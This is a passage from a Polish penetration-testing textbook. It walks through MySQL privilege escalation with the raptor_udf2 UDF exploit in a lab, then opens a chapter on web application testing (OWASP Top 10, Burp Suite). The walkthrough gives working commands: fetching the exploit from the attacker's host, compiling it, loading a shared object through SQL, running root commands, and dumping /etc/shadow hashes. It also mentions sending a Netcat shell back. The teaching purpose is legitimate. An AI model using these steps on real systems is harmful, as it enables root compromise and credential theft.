maszyny wirtualnej z podatnym serwerem. W ramach sesji frameworku Metasploit, która powinna
nadal być otwarta w innym oknie terminala, użyj programu wget, aby pobrać kod exploitu na ata-
kowany system. Możesz do tego użyć poniższego polecenia:
wget http://<KaliLinuxIP>:8000/raptor_udf2.c

Jeżeli serwer działa, to na ekranie powinny pojawić się komunikaty podobne do poniższych,
ponieważ żądany tutaj plik powinien być dostępny na serwerze (w tym samym katalogu, w którym
uruchamialiśmy skrypt SimpleHTTPServer).
--2019-07-23 17:02:11-- http://192.168.48.102:8000/raptor_udf2.c
Connecting to 192.168.48.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3178 (3.1K) [text/plain]
Saving to: `raptor_udf2.c'

100%[======================================>] 3,178 --.-K/s in 0.01s

2019-07-23 17:02:11 (218 KB/s) - `raptor_udf2.c' saved [3178/3178]

Poniższy komunikat pojawi się natomiast po uruchomieniu skryptu w języku Python. Można
się tu dowiedzieć, że wskazanego dnia i o podanej godzinie serwer otrzymał żądanie GET z adresu
IP danego klienta.
192.168.48.104 - - [23/Jul/2019 18:09:21] "GET /raptor_udf2.c HTTP/1.1" 200 -

Do przesłania pliku można było też wykorzystać program Netcat albo zastosować do tego frame-
work Metasploit. Pokazaliśmy tu jednak kolejną metodę przesyłania plików przez sieć.
Exploit raptor_uds2.c działa podobnie do zaprezentowanego wcześniej modułu frameworku
Metasploit (postgres_payload). Tym razem trzeba jednak ręcznie wykonać kilka operacji. Podsta-
wową różnicą jest to, że exploit atakuje serwer MySQL, a nie PostgreSQL. Pamiętaj, że teraz chcemy
uzyskać dostęp z uprawnieniami użytkownika root, a umożliwić ma nam to demon serwera MySQL,
który został nieprawidłowo skonfigurowany i działa z prawami użytkownika root. Z tego exploitu
zwykle nie da się skorzystać, jeżeli serwer MySQL nie ma praw użytkownika root, ponieważ exploit
wymaga możliwości zapisywania i odczytywania danych z zabezpieczonej ścieżki w systemie Linux.
A to jest możliwe jedynie wtedy, gdy serwer MySQL działa z prawami użytkownika root.

3681988c430c7fe1e8567c4e2f281f7b
3
Podnoszenie uprawnień za pomocą bazy danych 391

Podobnie jak zrobił to moduł postgres_payload, nasz exploit również utworzy wspólny obiekt
w katalogu /tmp w atakowanym systemie. Na razie exploit ma formę kodu źródłowego, dlatego
można go przejrzeć. Na pewno warto to zrobić zaraz po pobraniu pliku z internetu. Po uzyskaniu
kodu exploitu i sprawdzeniu, że jest to właściwy kod, a nie żadna podróbka, możesz spróbować
skompilować go na komputerze docelowym. Nie chcemy jednak wygenerować zwykłego pliku
wykonywalnego, ale plik współdzielonego obiektu. Upewnij się, że podane niżej polecenia będą
uruchamiane na atakowanym komputerze. Pierwsze polecenie uruchamia kompilator GNU C,
któremu można podać ogromną liczbę najróżniejszych opcji (przejrzyj stronę podręcznika man
dla tego kompilatora). W tym przypadku kompilator wygeneruje plik raptor_udf2.o, ale nie wypi-
sze na ten temat żadnej informacji.
gcc -g -c raptor_udf2.c

Plik .o zawiera skompilowany obiekt, który jest gotowy do wykonania konsolidacji i przygoto-
wania do użycia go jako pliku wykonywalnego lub biblioteki współdzielonej. My skorzystamy z tej
drugiej opcji i utworzymy współdzielony obiekt, używając do tego poniższego polecenia:
gcc -g -shared -o raptor_udf2.so raptor_udf2.o -lc

Wprowadzanie nowych poleceń, takich jak powyższe, może czasem sprawiać kłopoty, szcze-
gólnie gdy dane polecenie jest wpisywane na komputerze, do którego właśnie udało się nam wła-
mać. Osoby, które zadały sobie trud przejrzenia kodu źródłowego tego exploitu, z pewnością wie-
dzą już, że samodzielne wpisywanie tego polecenia nie jest konieczne, ponieważ zostało ono
zapisane w jednym z komentarzy w kodzie źródłowym. Można zatem użyć polecenia cat lub less,
aby wypisać zawartość pliku w oknie terminala, a następnie zaznaczyć odpowiedni fragment tekstu,
skopiować go i następnie wkleić. Jeżeli jednak kopiowanie i wklejanie nie zadziała (co zgłasza wielu
użytkowników systemów linuksowych), to ręczne wpisanie całego polecenia powinno załatwić
sprawę. Jeżeli teraz wpiszesz polecenie ls -l rap*.so, to zobaczysz, że w katalogu istnieją trzy pliki:
plik z kodem źródłowym, plik .o oraz plik .so.
-rw-r--r-- 1 postgres postgres 3178 Apr 30 2018 raptor_udf2.c
-rw-r--r-- 1 postgres postgres 3372 Jul 23 17:17 raptor_udf2.o
-rwxr-xr-x 1 postgres postgres 6121 Jul 23 17:30 raptor_udf2.so

Bardzo ważne jest sprawdzenie teraz uprawnień do utworzonego właśnie pliku .so. Jeżeli plik
nie ma uprawnień do globalnego odczytywania, to procesowi serwera MySQL nie uda się go otwo-
rzyć, a to spowoduje, że exploit nie zadziała. To typowa pułapka, w którą wpada wiele osób przecho-
dzących kursy firmy Hacker House. Jest to o tyle bolesne, że cały proces realizacji exploitu trzeba
zacząć od początku, a dodatkowo posprzątać wszystko, co powstało w trakcie nieudanej próby.
Uruchom teraz klienta MySQL, ale tym razem zrób to na atakowanym hoście, używając przy
tym nazwy użytkownika root oraz hasła, które poznaliśmy już wcześniej. W tym przypadku nie
musisz podawać nazwy hosta, ponieważ klient jest uruchamiany lokalnie w tym samym systemie,
w którym działa instancja serwera MySQL.
mysql -u root -p

Na ekranie powinien pojawić się znak zachęty mysql>. Możesz też wykorzystać tę podatność
zdalnie i połączyć się z serwisem MySQL ze swojego systemu Kali Linux, ale w rzeczywistych
systemach raczej nie będzie istniała możliwość ustanowienia połączenia z portem serwisowym

3681988c430c7fe1e8567c4e2f281f7b
3
392 Rozdział 11  Bazy danych

MySQL, a wtedy używanie narzędzi istniejących na atakowanym systemie jest jedynym rozwiąza-
niem. W dalszej części należy wykonywać instrukcje zapisane w komentarzach w kodzie źródło-
wym exploitu. Każdą z nich zaprezentujemy i opiszemy poniżej. Każdą z tych instrukcji trzeba
oczywiście dostosować tak, żeby zadziałała w wybranym systemie.
Musisz tutaj użyć bazy danych mysql, a zatem pierwszym wprowadzonym poleceniem powinno
być use mysql. Na ekranie powinien pojawić się komunikat Database changed. W bazie danych
utwórz teraz tabelę o nazwie foo, która będzie składała się z jednego pola o nazwie line i typie blob.
Taką tabelę można utworzyć za pomocą poniższego polecenia SQL:
CREATE TABLE foo (line blob);

Teraz trzeba umieścić skompilowany wcześniej wspólny obiekt (czyli plik binarny) w utworzo-
nej właśnie tabeli. Jak już wspominaliśmy w tym rozdziale, baz danych można używać do przecho-
wywania najróżniejszych danych, w tym i obiektów binarnych, i tę możliwość wykorzystamy teraz
do naszych celów. Jeżeli użyjesz teraz polecenia describe, aby sprawdzić schemat nowej tabeli,
to zobaczysz poniższy wydruk:
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| line | blob | YES | | NULL | |
+-------+------+------+-----+---------+-------+
1 row in set (0.00 sec)

Teraz należy skorzystać z polecenia SQL INSERT w połączeniu z funkcją load_file udostępnianą
przez serwer MySQL, aby załadować plik wspólnego obiektu do tabeli. W tym przypadku musimy
zastosować polecenie, które nieco różni się od tego podawanego w komentarzach w kodzie źródło-
wym exploitu. Trzeba w nim zmienić ścieżkę do pliku na pokazaną poniżej, ponieważ to właśnie
tam umieściliśmy skompilowany, wspólny obiekt:
INSERT INTO foo VALUES (load_file('/tmp/raptor_udf2.so'));

W efekcie na ekranie powinien pojawić się poniższy komunikat z potwierdzeniem:

Query OK, 1 row affected (0.01 sec)

Jeżeli plik został poprawnie umieszczony w tabeli, to użycie polecenia SELECT * FROM foo;
spowoduje wypisanie sporej ilości chaotycznych znaków. To dobrze. Nie chcemy, żeby w tabeli
nadal zapisana była jedynie wartość NULL, bo to oznacza, że plik nie został w niej umieszczony.
A to zdarza się przede wszystkim z powodu nieprawidłowych uprawnień do pliku, o czym mówi-
liśmy już wcześniej.
Teraz zawartość pola może zostać umieszczona w innym pliku. Tutaj chodzi o zapisanie pliku
w miejscu, w którym użytkownik postgres nie mógł zapisywać żadnych plików, a konkretnie o ka-
talog /usr/lib. Jak widać, jest to dość zagmatwana, ale też niezbędna metoda kopiowania pliku
z katalogu /tmp do katalogu /usr/lib. Jeżeli spróbujesz utworzyć plik w katalogu /usr/lib jako użyt-
kownik postgres, na przykład za pomocą polecenia touch /usr/lib/foo, to zobaczysz jedynie ko-
munikat o braku uprawnień do wykonania tej operacji:
touch: cannot touch `/usr/lib/foo': Permission denied

3681988c430c7fe1e8567c4e2f281f7b
3
Podnoszenie uprawnień za pomocą bazy danych 393

Wspólny obiekt musi być przechowywany w katalogu /usr/lib, bo tylko z niego może zostać
pobrany przez serwer MySQL. Na szczęście zapisanie pliku w tym katalogu jest możliwe, ponieważ
proces serwera MySQL działa z prawami użytkownika root, a zatem może też zapisywać i odczyty-
wać pliki jako ten użytkownik. Teraz możemy zapisać dane binarne (czyli wspólny obiekt) z tabeli
foo do pliku, używając do tego funkcji dumpfile, tak jak poniżej:
SELECT * FROM foo INTO dumpfile '/usr/lib/raptor_udf2.so';

W tabeli foo znajduje się tylko jeden rekord z jednym polem, dlatego w tym przypadku świetnie
sprawdza się polecenie select *. Tutaj również w odpowiedzi powinien pojawić się komunikat
Query OK. Możesz też użyć polecenia diff, aby sprawdzić, czy pliki /urs/lib/raptor_uds2.so i /tmp/
raptor_uds2.so są takie same:
diff /tmp/raptor_udf2.so /usr/lib/raptor_udf2.so

Jeżeli to polecenie nie wypisze żadnych komunikatów, to znaczy, że wszystko jest poprawnie
przygotowane. Jeżeli jednak pliki różnią się w jakiś sposób, to zobaczysz taką informację:
Binary files /tmp/raptor_udf2.so and /usr/lib/raptor_udf2.so differ.

Możesz też skorzystać z poleceń sha256sum lub ls -al, aby porównać wielkości tych dwóch
plików i wyliczyć dla nich wartości skrótów.
Jeżeli pliki się różnią, to pliku zapisanego w katalogu /usr/lib nie będzie można użyć jako explo-
itu. W takiej sytuacji trzeba sprawdzić uprawnienia i skontrolować, czy serwer MySQL rzeczywiście
był w stanie odczytać plik .so. Co więcej, serwer MySQL nie będzie w stanie ponownie zapisać da-
nych do tego samego pliku. Niestety nie da się obejść tego ograniczenia. Oznacza to, że przy kolejnej
próbie będzie trzeba zastosować nieco zmienioną nazwę pliku zapisywanego w katalogu /usr/lib,
na przykład raptor_uds3.so.
Skoro nasz plik wspólnego obiektu znajduje się już w katalogu /usr/lib, możemy użyć go w trak-
cie tworzenia własnej funkcji UDF. Instrukcja użytkowania tego exploitu mówi, żeby tworzonej
funkcji UDF nadać nazwę do_system, ponieważ umożliwi nam ona uruchamianie poleceń syste-
mowych. Uruchomione w ten sposób polecenia będą działały z uprawnieniami serwera MySQL,
który aktualnie cieszy się prawami użytkownika root. Każda funkcja powinna zwracać jakąś war-
tość (to dotyczy funkcji definiowanych w języku C, funkcji serwera MySQL oraz funkcji dowolnego
innego języka programowania), a zatem w poniższym poleceniu znajdują się słowa returns integer,
które określają wartość zwracaną przez definiowaną tu funkcję:
CREATE FUNCTION do_system RETURNS INTEGER soname 'raptor_udf2.so';

Ponownie na ekranie powinien pojawić się znany nam już komunikat Query OK. Oznacza
to, że w serwerze MySQL utworzona została funkcja definiowana przez użytkownika (funkcja UDF)
o nazwie do_system. Jeżeli tej funkcji użyjemy w jakimś poleceniu, to serwer uruchomi kod znaj-
dujący się w pliku .so. Możesz też upewnić się, że nowa funkcja rzeczywiście istnieje. W tym celu
uruchom polecenie SELECT * FROM func;. Na ekranie powinna pojawić się poniższa tabela:
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)

3681988c430c7fe1e8567c4e2f281f7b
3
394 Rozdział 11  Bazy danych

Pozostało nam już tylko uruchomić nową funkcję UDF, co można zrobić na przykład za po-
mocą poniższego polecenia:
SELECT do_system('<Polecenie>');

Na początek można spróbować polecenia SELECT do_system('id');, aby w ten sposób urucho-
mić systemowe polecenie id i sprawdzić, czy rzeczywiście można wywoływać polecenia z prawami
użytkownika root. Niestety uzyskane wyniki raczej nie są tym, czego byśmy oczekiwali.
select do_system('id');
+-----------------+
| do_system('id') |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.01 sec)

Funkcja zadziałała zgodnie ze swoją definicją i zwróciła wartość liczby całkowitej, a w tym przy-
padku wartość 0 oznacza sukces. Pamiętaj jednak, że widzimy tutaj wynik instrukcji SQL (zapyta-
nia) działającej w bazie danych, a nie wynik samego polecenia uruchomionego w powłoce. Aby
przejrzeć wyniki działania poleceń systemowych, musimy zapisać je do pliku. Poniższe rozbudo-
wane polecenie jeszcze raz wywołuje systemowe polecenie id, ale wyniki jego pracy kierowane są
do pliku out znajdującego się w katalogu /tmp. Przy okazji zmieniamy też właściciela (oraz grupę)
tego pliku na użytkownika postgres, aby mieć możliwość przejrzenia jego zawartości.
SELECT do_system('id > /tmp/out; chown postgres:postgres /tmp/out');

Aby poznać wynik działania polecenia id, musisz teraz wypisać na ekranie zawartość pliku
/tmp/out, na przykład za pomocą polecenia cat /tmp/out. Zobaczysz wtedy poniższy tekst:
uid=0(root) gid=0(root) groups=0(root)

Skoro to zadziałało tak dobrze, to może teraz spróbujemy uruchomić takie polecenie:
SELECT do_system('cat /etc/shadow >> /tmp/out');

W ten sposób odkryliśmy kolejny sposób uzyskania dostępu do pliku shadow w atakowanym
systemie. Oto kilka skrótów haseł pobranych z naszego podatnego serwera baz danych. Te różnią
się od skrótów, jakie widzieliśmy wcześniej, a zatem możesz później spróbować złamać i te hasła.
postgres:$6$DiGsFg4S$zdTDX1sFO/rHjXk6rPMdWJ1Zv4Qx5ggZk7ZSGdZSi/
Qt2U9JicWbIBkeei7S6XwiP8xXWEiDjkNnH7qgg3T4s.:17257:0:99999:7::: database
:pAW8DmFCBqEmo:17257:0:99999:7:::
support:Dzww5H11RySYc:17257:0:99999:7:::
dba:VxfFM75hxlM0g:17257:0:99999:7:::
fredh:zQkVXUNL7/FuM:17257:0:99999:7:::
tomt:YySNBbemZW8pI:17257:0:99999:7:::
craigd:JjGYckqNwTlGU:17257:0:99999:7:::

Aby uzyskać dostęp do interaktywnej powłoki, spróbuj użyć programu Netcat, aby przesłać
powłokę na swój system Kali Linux, w którym powinien już czekać przygotowany program Netcat
w trybie przyjmowania połączeń. Przykłady takiego przesyłania powłoki podawaliśmy już we wcze-
śniejszych rozdziałach, a zaprezentowane tam metody sprawdzą się również w tej sytuacji. Co cie-
kawe jednak, funkcja do_system będzie sprawiała wrażenie, że została wstrzymana, co zmieni się
dopiero po zakończeniu sesji programu Netcat.

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 395

Pamiętaj też, że ten exploit działa wyłącznie w przypadku, gdy serwer MySQL został urucho-
miony z prawami użytkownika root, a to nie jest już możliwe w najnowszych wersjach serwerów
MySQL i MariaDB, ponieważ ta podatność była naprawdę powszechnie wykorzystywana. Niestety
wielu administratorów systemów nadal uważa, że serwer baz danych powinien działać z prawami
użytkownika root, i niepotrzebnie nadaje instalowanym serwerom rozbudowane uprawnienia.

Podsumowanie
W tym rozdziale zaprezentowaliśmy wprowadzenie do różnych serwerów baz danych SQL oraz ich
klientów działających w wierszu poleceń, takich jak MySQL i PostgreSQL. Są to systemy relacyjnych
baz danych, które korzystają ze specjalnych baz danych do przechowywania metadanych opisują-
cych pozostałe bazy obsługiwane przez serwer. Zwykle chodzi tu o wrażliwe dane przechowywane
przez Twojego klienta, które nie powinny być dostępne dla niepowołanych osób.
Zaprezentowaliśmy metody uzyskania nazw użytkowników oraz haseł z serwerów MySQL
i PostgreSQL, co pozwala na dokładniejsze ich zbadanie i poznanie podstaw ich obsługi. Zazwyczaj
uzyskanie dostępu do bazy danych nie będzie tak łatwe jak w podanych tu przykładach, choć zaw-
sze warto spróbować użyć domyślnych nazw użytkownika oraz haseł, jak również danych uwierzy-
telniających zdobytych z innych źródeł. W przypadku serwerów baz danych należy ostrożnie pod-
chodzić do ataków siłowych, choć w firmie Hacker House dość często stosujemy ten rodzaj ataku,
jeżeli tylko uda się potwierdzić, że konta nie są blokowane przez nieudane próby logowania.
Systemy baz danych (relacyjnych i nierelacyjnych) są jedynie kolejnym rodzajem oprogramo-
wania i w związku z tym zawsze istniały w nich różne podatności, których należy poszukiwać zaraz
po poznaniu numeru wersji interesującego nas serwera. Czasami udaje się całkowicie pominąć pro-
ces uwierzytelniania, korzystając z publicznie dostępnych exploitów. Można też próbować wydo-
stać się z systemu bazy danych i uzyskać dostęp do powłoki w systemie operacyjnym. W obu przy-
padkach bardzo pomocne okazują się moduły z frameworku Metasploit. Zawsze należy zatem
sprawdzać, czy takie możliwości rzeczywiście istnieją. Dobrze jest też poznać ręczną metodę reali-
zowania tego procesu, co pokazaliśmy na przykładzie serwera MySQL, ponieważ gotowe exploity
czasami nie działają poprawnie z powodu niewielkich różnic w konfiguracji atakowanej bazy
danych. Im więcej dowiesz się na temat baz danych, tym lepiej będziesz w stanie wykorzystać je
do własnych celów.
Musisz też nauczyć się swobodnie przeglądać dane z bazy oraz manipulować nimi w wierszu
poleceń. Naucz się dobrze posługiwać poleceniami języka SQL, ponieważ przydaje się to bardzo
podczas testowania aplikacji sieciowych. Doskonale ułatwia to wyszukiwanie, wykorzystywanie
oraz poznawanie podatności związanych ze wstrzykiwaniem poleceń SQL. W następnym rozdziale
pokażemy Ci, jak można skutecznie atakować aplikacje sieciowe, które są podatne na wstrzykiwa-
nie poleceń SQL.
W części tego rozdziału poświęconej podnoszeniu swoich uprawnień za pomocą bazy danych
pokazaliśmy metodę uruchamiania poleceń z prawami użytkownika root poprzez wykorzystanie
demona serwera MySQL działającego z tym poziomem uprawnień. Ponownie wykorzystaliśmy
plik wspólnego obiektu, który po załadowaniu do bazy danych pozwolił nam przygotować wła-
sną funkcję UDF.

3681988c430c7fe1e8567c4e2f281f7b
3
396 Rozdział 11  Bazy danych

Exploit z frameworku Metasploit, który atakował serwer PostgreSQL, również stosował po-
dobną taktykę, polegającą na utworzeniu funkcji UDF korzystającej z pliku wspólnego obiektu za-
pisanego w pliku /tmp. Sam exploit po prostu ukrywał szczegóły implementacji i upraszczał dla nas
sam proces ataku. Poznawanie zasad działania modułów frameworku Metasploit i stosowanych
przez nie procesów ma wielkie zalety dla pracy testera zabezpieczeń, ponieważ dzięki temu można
wprowadzać małe zmiany do procesu i poprawiać błędy konfiguracji, które normalnie uniemożli-
wiają wykonanie skutecznego ataku.

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

12
Aplikacje sieciowe

W tym rozdziale dowiemy się, jak organizacja może ujawnić własne dane w internecie za pośred-
nictwem podatnej aplikacji sieciowej, na przykład witryny WWW wyświetlającej dynamicznie ge-
nerowane treści i umożliwiającej interakcję z użytkownikami. Zwykle takie aplikacje mają własne
systemy uprawnień dla użytkowników. Ponownie będziemy przyglądać się naszemu celowi spoza
jego własnej sieci, zachowując się jak jeden ze zwykłych użytkowników internetu.
Aplikacje sieciowe zwykle wypełniają bardzo zróżnicowane funkcje i wykorzystują do swojego
działania wiele współpracujących ze sobą komponentów, na przykład bazę danych przechowującą
i udostępniającą treści, ale też zarządzającą sesjami użytkowników, jak również jeden z serwerów
WWW, takich jak Apache lub Nginx (a czasem oba te serwery). Aplikacja WWW zwykle komuni-
kuje się z użytkownikiem za pomocą przesyłanych wiadomości e-mail, ale może też umożliwiać
przesyłanie różnych zapytań przez sieć. Czasami udaje się znaleźć (a na pewno warto szukać) w takiej
aplikacji różne podatności, które umożliwiają uzyskanie dostępu do sieci wewnętrznej firmy oraz
podłączonych do niej hostów.
Już wcześniej analizowaliśmy poszczególne komponenty tej infrastruktury, a teraz zajmiemy
się oprogramowaniem działającym na samym jej szczycie. Wszystkie tego typu aplikacje składają
się z części serwerowej oraz z części działającej po stronie klienta. Kod takiej aplikacji zwykle jest
składanką kodu kopiowanego z innych źródeł, czasami poddanego niewielkim przeróbkom, oraz
kodu tworzonego specjalnie na potrzeby powstającej aplikacji.
Sporą część prac wykonywanych przez firmę Hacker House stanowi testowanie aplikacji siecio-
wych. Dowolna firma lub organizacja udostępniająca jakąś usługę w sieci musi przygotować apli-
kację WWW, za pośrednictwem której firma generuje swoje przychody.
Hakowanie aplikacji WWW to ogromna dziedzina wiedzy, której poświęcone zostały już całe
książki i wiele artykułów. Oczywiście istnieją tu również doskonałe darmowe źródła informacji,
takie jak projekt OWASP (Open Web Application Security Project).

397

3681988c430c7fe1e8567c4e2f281f7b
3
398 Rozdział 12  Aplikacje sieciowe

OWASP Top 10
Projekt OWASP (Open Web Application Security Project) jest sieciowym i społecznościowym roz-
wiązaniem, które ma za zadanie podawać wskazówki, informacje oraz narzędzia dla programistów
i testerów aplikacji sieciowych. Strona WWW tego projektu jest dostępna pod adresem www.owasp.org.
Z kolei lista OWASP Top 10 gromadzi zagrożenia usystematyzowane pod względem ryzyka, jakie
stanowią one dla aplikacji sieciowych. W trakcie pisania tej książki najaktualniejsza wersja tej listy
pochodziła z 2017 roku. Cała lista OWASP Top 10 powstaje w wyniku dyskusji różnych ekspertów,
choć brane są też pod uwagę opinie pochodzące od szerokiej społeczności. Poza tym to coś więcej
niż prosta lista, ponieważ jest dla nas bardzo cennym źródłem informacji.
Strona projektu OWASP podaje szczegółowe informacje na temat każdej pozycji z listy Top 10.
Co więcej, te informacje można pobrać bezpłatnie. Dokument został przygotowany przede wszyst-
kim dla programistów oraz organizacji, którym ma służyć jako poradnik zachęcający do stosowania
technik bezpiecznego programowania. Na stronach projektu OWASP znajdziesz też wiele innych
informacji na temat różnych podatności istniejących w aplikacjach sieciowych oraz sposobów
ich odtwarzania.
W tym rozdziale wybierzemy tylko kilka pozycji z listy Top 10 i pokażemy, jak znaleźć te po-
datności w aplikacji sieciowej udostępnianej przez laboratorium naszej książki. Oto lista OWASP
Top 10 z 2017 roku:
1. Wstrzykiwanie poleceń, w tym i wstrzykiwanie poleceń SQL.
2. Nieprawidłowe uwierzytelnianie.
3. Ujawnianie wrażliwych danych.
4. Wstrzykiwanie zewnętrznych encji XML (XXE — XML external entity injection).
5. Niedziałająca kontrola dostępu.
6. Wykorzystywanie błędów w konfiguracji.
7. Cross-site scripting (XSS).
8. Deserializacja bez zachowania zasad bezpieczeństwa.
9. Poszukiwanie i wykorzystywanie znanych podatności.
10. Niewystarczające protokołowanie i monitorowanie.
Pamiętaj, że wymienione powyżej obszary wysokiego ryzyka nie są jedynymi problemami, jakie
można spotkać w aplikacjach sieciowych, a każdy z podanych tu punktów zawiera w sobie całą
grupę problemów. Podczas testowania różnych aplikacji sieciowych z całą pewnością natkniesz się
na wiele innych problemów, które nie zostały tutaj wymienione. W poprzedniej wersji tej listy
(z roku 2013) znajdowały się na przykład ataki CSRF (Cross-Site Request Forgery), ale zostały z niej
usunięte. Nie dlatego, że udało się w jakiś sposób skutecznie rozwiązać tę kategorię problemów, ale
dlatego, że uznano pozostałe pozycje na tej liścia za znacznie poważniejsze zagrożenie. Mimo to
ataki CSRF są problemem, z którym należy się dokładnie zapoznać, aby przeprowadzać odpowied-
nie testy w aplikacjach sieciowych. A to tylko jeden z kłopotów, jakie powszechnie manifestują się
w różnych aplikacjach.

3681988c430c7fe1e8567c4e2f281f7b
3
Narzędzia hakera aplikacji sieciowych 399

Narzędzia hakera aplikacji sieciowych

Czytając tę książkę, z pewnością można zauważyć, że w każdym kolejnym rozdziale prezentujemy
coraz mniej nowych narzędzi. Jeżeli jednak chodzi o hakowanie aplikacji sieciowych, to używanych
jest tu wiele narzędzi, których jeszcze nie omawialiśmy. Na poniższej liście znajduje się kilka spe-
cjalizowanych narzędzi do hakowania, a obok nich umieściliśmy kilka narzędzi ogólnego przezna-
czenia, które świetnie nadają się też do hakowania aplikacji. Już sama ta lista powinna pokazywać,
jak zróżnicowane są podatności istniejące w aplikacjach sieciowych:
 Przeglądarki internetowe (aplikacje mogą zachowywać się inaczej, w zależności od tego,
jakiej przeglądarki użyjemy).
 Serwery web proxy, takie jak Burp Suite, Mitmproxy lub ZAP.
 Skanery podatności w sieci WWW (Nikto lub W3af).
 Skrypty programu Nmap.
 SQLmap (używany jest do wykorzystywania podatności na wstrzykiwanie poleceń SQL).
 Narzędzia i exploity związane z językiem XML.
 Narzędzia XSS, np. BeEF.
 SSLscan oraz inne skanery protokołów SSL/TLS.
 Techniczna dokumentacja frameworków sieciowych oraz aplikacji CMS.
 Specjalizowane skrypty, dopasowane do konkretnej aplikacji.

Skanowanie portów w serwerze aplikacji sieciowej

Na produkcyjnym serwerze WWW raczej nie powinno działać zbyt wiele różnych serwisów.
Pamiętaj, że jest to serwer, którego jedynym zadaniem jest udostępnianie treści stron WWW
w internecie, a to oznacza, że musi obsługiwać ogromny ruch sieciowy. Sam serwer powinien być
też jak najlepiej zabezpieczony. Najlepiej byłoby, gdyby miał otwarte wyłącznie porty TCP 80 i 443.
Oto wynik skanowania programem Nmap dla typowego serwera aplikacji sieciowej:
Nmap scan report for hacker.house (137.74.227.70)
Host is up (0.069s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https

Typowy host aplikacji sieciowej powinien prezentować zaledwie dwa otwarte porty: TCP80
i TCP 443. Mimo to zawsze należy przeprowadzić pełne skanowanie takiego hosta. Jeżeli na serwe-
rze WWW zobaczysz jakiekolwiek inne otwarte porty, będzie to znaczyło, że Twój klient niedosta-
tecznie poważnie traktuje temat bezpieczeństwa. Z pewnością przyjrzenie się tym dodatkowym
serwisom ujawni kolejne problemy z bezpieczeństwem systemu.
Jeżeli współpracujesz z mniejszą organizacją (albo pracujesz dla niej), to z pewnością zauwa-
żysz, że ze względu na zwiększone koszty niechętnie wydziela ona osobne hosty pełniące określone
zadania. W takich organizacjach umieszczenie serwera baz danych (i innych serwisów) na tym sa-
mym hoście co serwer WWW nie jest czymś niespotykanym. Oczywiście jest to działanie sprzeczne

3681988c430c7fe1e8567c4e2f281f7b
3
400 Rozdział 12  Aplikacje sieciowe

z zalecanymi praktykami, ponieważ poszczególne komponenty powinny być od siebie oddzielone

i umieszczane na niezależnych komputerach, a przynajmniej w osobnych maszynach wirtualnych.
Dzięki takiemu podziałowi, jeżeli w jednej części projektu aplikacji wykryta zostanie jakaś podat-
ność, to będzie ona miała ograniczony wpływ na pozostałe komponenty w porównaniu z sytuacją,
w której wszystkie komponenty znajdują się na tym samym hoście. Laboratorium naszej książki
jest przykładem wyjątkowo zabałaganionego serwera WWW. W rzeczywistych rozwiązaniach ra-
czej nie należy oczekiwać, że na jednym komputerze uruchomionych będzie aż tyle różnorodnych
usług. Mimo że na tym etapie koncentrujemy się na podatnościach aplikacji sieciowych, zawsze
trzeba pamiętać o konieczności sprawdzania istniejącej infrastruktury hosta, który zajmuje się ob-
sługą tej aplikacji. W tym celu korzystaj zawsze z narzędzi przeznaczonych do testowania infra-
struktury, które omawialiśmy w rozdziale 7. „Sieć WWW pełna podatności”.

Korzystanie z przechwytującego serwera proxy

Chyba najważniejszym narzędziem do testowania aplikacji sieciowych (oczywiście poza samą prze-
glądarką) jest przechwytujący serwer proxy (ang. intercepting proxy). Burp Suite (portswigger.net)
to kolekcja narzędzi dostępnych w ramach jednej aplikacji Javy, w skład której wchodzi też serwer
proxy. Wszystkie te narzędzia bardzo przydają się podczas hakowania różnych aplikacji sieciowych.
W tym rozdziale zachęcamy do korzystania z wariantu Burp Suite Community Edition, który jest już
zainstalowany w systemie Kali Linux. Ten darmowy wariant kolekcji narzędzi jest świetnym roz-
wiązaniem, umożliwiającym naukę metod używania przechwytującego serwera proxy.
Na razie przestaniemy korzystać z okna terminala i skupimy się na narzędziach z graficznym
interfejsem użytkownika. Nie oznacza to jednak, że te narzędzia są wyjątkowo proste w użyciu, a ich
użytkowanie na pewno nie jest intuicyjne. Na początek można poczuć się nieco przytłoczonym, ale
bez obaw. Zaprezentujemy tutaj kilka najważniejszych funkcji programu. Z pewnością przekonasz
się, że opanowanie posługiwania się tym narzędziem przychodzi łatwiej niż w przypadku wielu
narzędzi działających w wierszu poleceń, takich jak Mitmproxy (mitmproxy.org), choć ostatecznie
wykonują one podobne zadania.
Bezpłatna wersja narzędzi Burp Suite zawiera wiele funkcji dostępnych też w wersji komercyjnej.
Najważniejszą różnicą jest to, że wersja komercyjna umożliwia zapisywanie projektów na dysku oraz
udostępnia narzędzie do automatycznego wyszukiwania podatności w aplikacjach sieciowych.
Przechwytujące serwery proxy są ważną częścią naszego arsenału, ponieważ umożliwiają prze-
prowadzenie dokładnej analizy wszystkich przesyłanych żądań oraz odpowiedzi. Pozwalają one nie
tylko zmieniać dowolny element żądania wysłanego przez przeglądarkę, co umożliwia sondowanie
aplikacji sieciowej w poszukiwaniu różnych podatności, ale dzięki nim można też wykorzystać zna-
lezione słabości. Możliwość modyfikowania żądań wysłanych przez przeglądarkę jest najprostszą
metodą pomijania procedur sprawdzania poprawności danych wykonywanych po stronie klienta
(zwykle robią to funkcje w języku JavaScript). Kontrola danych po stronie klienta nigdy nie po-
winna stanowić podstawowej metody zabezpieczania danych w aplikacji.

Konfigurowanie narzędzi Burp Suite Community Edition

Teraz przyjrzymy się samym narzędziom Burp Suite, przechodząc przez poszczególne ekrany apli-
kacji, choć prezentowane tutaj zrzuty ekranów mogą się nieco różnić od tego, co zobaczysz na swoim
ekranie, ponieważ te narzędzia są dość często aktualizowane.

3681988c430c7fe1e8567c4e2f281f7b
3
Korzystanie z przechwytującego serwera proxy 401

Po uruchomieniu pakietu Burp Suite zobaczysz okno dialogowe, które umożliwia rozpoczęcie
nowego projektu (ale nie pozwala na jego zapisanie), takie jak na rysunku 12.1. W tym miejscu
wystarczy tylko kliknąć przycisk Next znajdujący się w lewym dolnym rogu okna dialogowego.

Rysunek 12.1. Ekran początkowy programu Burp Suite

